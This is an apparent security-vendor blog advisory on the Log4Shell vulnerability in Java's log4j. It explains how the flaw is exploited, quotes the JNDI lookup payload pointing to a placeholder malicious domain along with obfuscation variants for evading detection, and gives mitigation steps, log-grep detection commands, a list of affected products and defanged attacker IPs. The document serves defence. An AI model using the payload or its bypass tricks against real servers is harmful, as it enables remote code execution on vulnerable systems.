Get the Latest from GoSecure Titan Labs on Mitigation and Remediation for the Log4Shell Vulnerability

Updated on 12/15/2021 with the latest mitigation strategies for CVE-2021-44228 and CVE-2021-45046 including Log4J 1.2 status

GoSecure has been closely monitoring the Log4Shell vulnerability since it was discovered. Not only have we been proactively hunting across GoSecure Titan Managed Detection & Response (MDR), but we have also helped monitor and respond with patches for our clients through GoSecure Vulnerability Management as a Service (VMaaS) and supported clients with other managed security solutions.

So far, none of our GoSecure Titan MDR customers have been impacted by Log4Shell. The GoSecure Active Response Center (ARC) remains vigilant for any signs of breaches and new MDR detections have been added to increase the visibility of known Log4Shell activity.

To increase our detection and blocking capabilities, GoSecure Titan Labs performed extensive research on the vulnerability. The results of that work can be found in this blog, including some recommended mitigation and remediation actions.

Situational Awareness

CVE-2021-44228

GoSecure Titan Labs are aware of a new 0-day Remote Code Execution (RCE) vulnerability in the popular Java logging library log4j version 2.0 to <= 2.14.1. This vulnerability has been given the CVE identifiers of CVE-2021-44228 and CVE-2021-45046. This vulnerability can be exploited across a large number of attack vectors. All it requires is a server running log4j, a user accessible protocol able to receive a malicious string (HTTP, TCP, etc), and an input field which the server logs data from. An attacker will make a request to the vulnerable server with the malicious payload ${jndi:ldap://<malicious-domain>/a} to the vulnerable input field. When log4j attempts to log this payload, the code will execute and send an LDAP query via JNDI or Java Naming and Directory Interface. This occurs because when log4j encounters a JNDI reference, such as the one provided in the payload, it will go to the provided reference and download whatever it finds to resolve the variable. The attacker’s server can be set up to redirect this request to a remote Java class file (i.e. hxxp://<malicious- domain>/exploit[.]class) which will then be injected into the servers process. The LDAP protocol can also be substituted with RMI, DNS and more, which when combined with the potential to be used on any input field, and inject any Java .class file, makes this vulnerability very flexible. Additional flexibility can be achieved by using obfuscation techniques such as ${lower:j}ndi, ${::-j} and ${env:<variable-name>} (environment variables) to evade detection. Unicode obfuscation has been confirmed as a bypass technique in the wild. See our article on Unicode for Security Professionals for context on these types of bypass techniques.

CVE-2021-45046

GoSecure Titan Labs are aware of an update to the 0-day Remote Code Execution (RCE) vulnerability in the Java logging library log4j version 2.0 to <= 2.14.1 (CVE-2021-44228). This new vulnerability has been given the CVE identifier of CVE-2021-45046. Even after updating to log4j version 2.15.0, there remains a vulnerability for software running certain custom configurations. Additionally, the mitigation method of setting the configuration log4j2.formatMsgNoLookups to true will not mitigate this particular vulnerability. If an input is configured with a Context Lookup or Thread Context Map Pattern, CVE-2021-44228 can still be exploited, even if the software is running version 2.15.0 and/or is using the log4j2.formatMsgNoLookups mitigation. Due to this second vulnerability (CVE-2021-45046) existing with the server side parsing of data, GoSecure Titan Labs’ previous signatures for detecting incoming malicious traffic will still detect attempts to exploit this secondary vulnerability. Log4j has released a new version, 2.16.0, which fixes the vulnerability outlined in CVE-2021-45046.

Log4J 1.2

Mitigation

Remove the JNDI lookup capabilities from Log4J 2.x. To do so, identify all paths where you have log4j-core*.jar files then, in each of these paths run:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

This is the official mitigation recommended by the Log4J project itself if you can’t patch.

Note that this mitigation doesn’t cover cases where JAR files are packaged or shaded as you won’t be able to find the individual log4j-core-* files. Always refer to your vendor’s response for up-to-date information. An aggregated list of vendor responses is available in the remediation section below.

Outdated Mitigation

Before CVE-2021-45046 we were providing this mitigation which no longer covers all cases. The above mitigation is recommended if patches can’t be applied in a timely fashion.

Logging Pattern Layout Mitigation for log4j version 2.0 to 2.10.0
– Set every logging pattern layout to %m{$nolookups$} instead of %m in your logging config files

Configuration Mitigation for log4j versions 2.10.0 and higher:
– Set config option log4j2.formatMsgNoLookups to true

Linux Bash Mitigation Environment Variable for log4j >= 2.10 export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Windows Powershell Mitigation Environment Variable for log4j >= 2.10
[Environment]::SetEnvironmentVariable("LOG4J_FORMAT_MSG_NO_LOOKUPS","true","Machine")

Detection

Finding Linux Log4j Exploit Attempts
sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns| \ nis|iiop|corba|nds|http):/[^\n]+'

Finding Obfuscated Linux Log4j Exploit Attempts
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | \ egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'";
sudo find /var/log/ -name '*.gz' -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | \ egrep -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'";

Finding Potentially Vulnerable Software on Windows
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | \ select -exp Path

Remediation

• Update endpoints using log4j to version 2.15.0 2.16.0
• Update software vulnerable to this exploit; Current applications vulnerable include but are not limited to:
  • Apache Cassandra via appender Apache Druid
  • Apache Dubbo Apache Flink Apache Geode Apache Hadoop Apache James Apache Kafka Apache Spark Apache Solr
  • Apache Storm via Docker Apache Struts
  • Apache Tapestry Apache Wicket
  • CA Advanced Authentication
  • Symantec Endpoint Protection Manager (SEPM) Cisco Webex Meetings Server
  • Cisco Advanced Web Security Reporting Application Cisco Identity Services Engine (ISE)
  • Cisco Registered Envelope Service Cisco CloudCenter Suite Admin Cisco Crosswork Change Automation
  • Cisco Evolved Programmable Network Manager
  • Cisco Integrated Management Controller (IMC) Supervisor Cisco Intersight Virtual Appliance
  • Cisco Network Services Orchestrator (NSO)
  • Cisco Nexus Dashboard (formerly Cisco Application Services Engine) Cisco WAN Automation Engine (WAE)
  • Cisco SD-WAN vManage Cisco UCS Director Cisco BroadCloud
  • Cisco Computer Telephony Integration Object Server (CTIOS) Cisco Packaged Contact Center Enterprise
  • Cisco Unified Contact Center Enterprise – Live Data server Cisco Unified Contact Center Enterprise
  • Cisco Unified Intelligent Contact Management Enterprise Cisco Unified SIP Proxy Software
  • Cisco Video Surveillance Operations Manager Cisco DNA Spaces
  • Cisco Kinetic for Cities Cisco Umbrella
  • Cisco Unified Communications Manager Cloud Cisco Webex Cloud-Connected UC (CCUC)
  • Managed Services Accelerator (MSX) Network Access Control Service CloudLock
  • Duo ThousandEyes
  • Cisco Common Services Platform Collector (CSPC) Elastic Search (and the Open Search variants) Elastic Logstash
  • APM Java Agent HCL AppScan HCL Discover HCL Commerce
  • HCL BigFix Compliance
  • HCL BigFix Inventory HCL Unica
  • API Portal for VMware Tanzu App Metrics
  • Healthwatch for Tanzu Application Service
  • Single Sign-On for VMware Tanzu Application Service Spring Cloud Gateway for Kubernetes
  • Spring Cloud Gateway for VMware Tanzu Spring Cloud Services for VMware Tanzu
  • VMware Carbon Black Cloud Workload Appliance VMware Carbon Black EDR Servers
  • VMware Cloud Foundation VMware HCX
  • VMware Horizon
  • VMware Identity Manager VMware NSX-T Data Center VMware Site Recovery Manager
  • VMware Tanzu Application Service for VMs VMware Tanzu GemFire
  • VMware Tanzu Greenplum
  • VMware Tanzu Kubernetes Grid Integrated Edition VMware Tanzu Observability by Wavefront Nozzle VMware Tanzu Operations Manager
  • VMware Tanzu SQL with MySQL for VMs VMware Telco Cloud Automation VMware Unified Access Gateway VMware vCenter Cloud Gateway
  • VMware vCenter Server VMware vRealize Automation
  • VMware vRealize Lifecycle Manager VMware vRealize Log Insight VMware vRealize Operations
  • VMware vRealize Operations Cloud Proxy VMware vRealize Orchestrator
  • VMware WorkspaceOne Access
  • Adobe Cold Fusion & Adobe Experience Manager Apereo CAS
  • Atlassian self-hosted if configured with log4j Avantra Syslink
  • Azure Data Lake Store client CheckPoint Quantum Security Management Code42
  • Connect2id server
  • Contrast Security self-hosted and cloud Couchbase Elasticsearch Connector Cpanel via Solr plugin
  • Dynatrace Synthetic Chromium ESRI ArcGIS
  • Forcepoint Security Manager & DLP Manager
  • Fortinet FortiAIOps, FortiCASB, FortiConvertor, FortiEDR Cloud, FortiNAC, FortiPolicy, FortiPortal , For ForgeRock
  • F-Secure Policy Manager & Endpoint Proxy Ghidra
  • GoAnywhere Grails Graylog Guidewire JAMF Pro
  • JetBrains License Server JGAAP
  • Jitsi video bridge Mailcow
  • Kafka Connect CosmosDB LucentSky self-hosted LogRhythm
  • Metabase
  • Minecraft clients and servers MongoDB Atlas Search
  • Mulesoft
  • N-Able Risk Intelligence Nelson
  • Neo4J NetApp
  • New Relic Java Agent Nutanix
  • Okta Radius Server Agent & On-Prem MFA Agent Openfire
  • OpenHab OpenMRS OpenNMS OpenSearch
  • Oxygen XML Editor PagerDuty Rundeck PaperCut NG & MF Pegasystems self-hosted
  • Progress Open Edge & DataDirect Hybrid Data Pipeline Positive Technologies MaxPatrol VM
  • PowerSchool
  • Puppet Continuous Delivery for Puppet Enterprise PureStorage Portworx and possibly other products Quest KACE
  • Radware
  • Red Hat is reporting affected packages Rosette RNI Web Services
  • RSA SecureID Authentication Manager SAP
  • SAS Profile and possibly other products SDL WorldServer
  • SecurityOnion
  • Sentry through optional plugin ServiceNow MID Servers & self-hosted Signald
  • Software AG ARIS, Cumulocity, webMethods SolarWinds SAM & DPA
  • Sophos Mobile EAS Proxy Splunk
  • Spring Boot if log4j was configured Sumo Logic Collector
  • SysAid Remote Discovery Server SwingSet
  • Tableau
  • Talend Component Kit TP-LINK Omada SDN
  • Ubiquiti UniFi Network Application Varonis
  • Wowza Streaming Engine WSO2
  • ZAP Proxy

Indicators of Compromise

[IP]

1[.]116[.]59[.]211
194[.]48[.]199[.]78
175[.]6[.]210[.]66
209[.]97[.]133[.]112
128[.]199[.]222[.]221
61[.]19[.]25[.]207
68[.]183[.]198[.]36
185[.]17[.]121[.]251
103[.]214[.]5[.]13
159[.]223[.]42[.]182
89[.]249[.]63[.]3
185[.]220[.]101[.]128
159[.]65[.]155[.]208
167[.]71[.]13[.]196
167[.]99[.]36[.]245
161[.]35[.]119[.]60
5[.]157[.]38[.]50
45[.]155[.]205[.]233
167[.]172[.]44[.]255
120[.]24[.]23[.]84
185[.]220[.]101[.]146
159[.]223[.]75[.]133
185[.]220[.]101[.]158
191[.]232[.]38[.]25
139[.]59[.]103[.]254
150[.]158[.]189[.]96
178[.]176[.]202[.]121
195[.]251[.]41[.]139
51[.]15[.]43[.]205
20[.]205[.]104[.]227
185[.]220[.]101[.]173
176[.]58[.]100[.]98
192[.]42[.]116[.]18
185[.]220[.]101[.]172
45[.]155[.]204[.]20
195[.]54[.]160[.]149
68[.]183[.]36[.]244
138[.]197[.]72[.]76
147[.]182[.]216[.]21
197[.]246[.]171[.]83
194[.]163[.]163[.]20
103[.]103[.]0[.]142
178[.]176[.]203[.]190
185[.]220[.]101[.]133
141[.]239[.]152[.]254
159[.]89[.]94[.]219
138[.]197[.]106[.]234
164[.]90[.]199[.]221
162[.]255[.]202[.]246
185[.]220[.]101[.]21
205[.]185[.]125[.]147
138[.]197[.]9[.]239
185[.]167[.]163[.]118
20[.]71[.]156[.]146
151[.]80[.]148[.]159
60[.]31[.]180[.]149
185[.]220[.]100[.]252
45[.]129[.]56[.]200
209[.]141[.]46[.]47
54[.]146[.]233[.]218

Conclusion

Log4Shell is an extremely dangerous vulnerability, and we urge everyone to scan their environments immediately. GoSecure Titan Labs will continue to keep an eye on the vulnerability and potential future impacts. Stay up to date with us by checking in our security blog posts – and by following GoSecure on Twitter and LinkedIn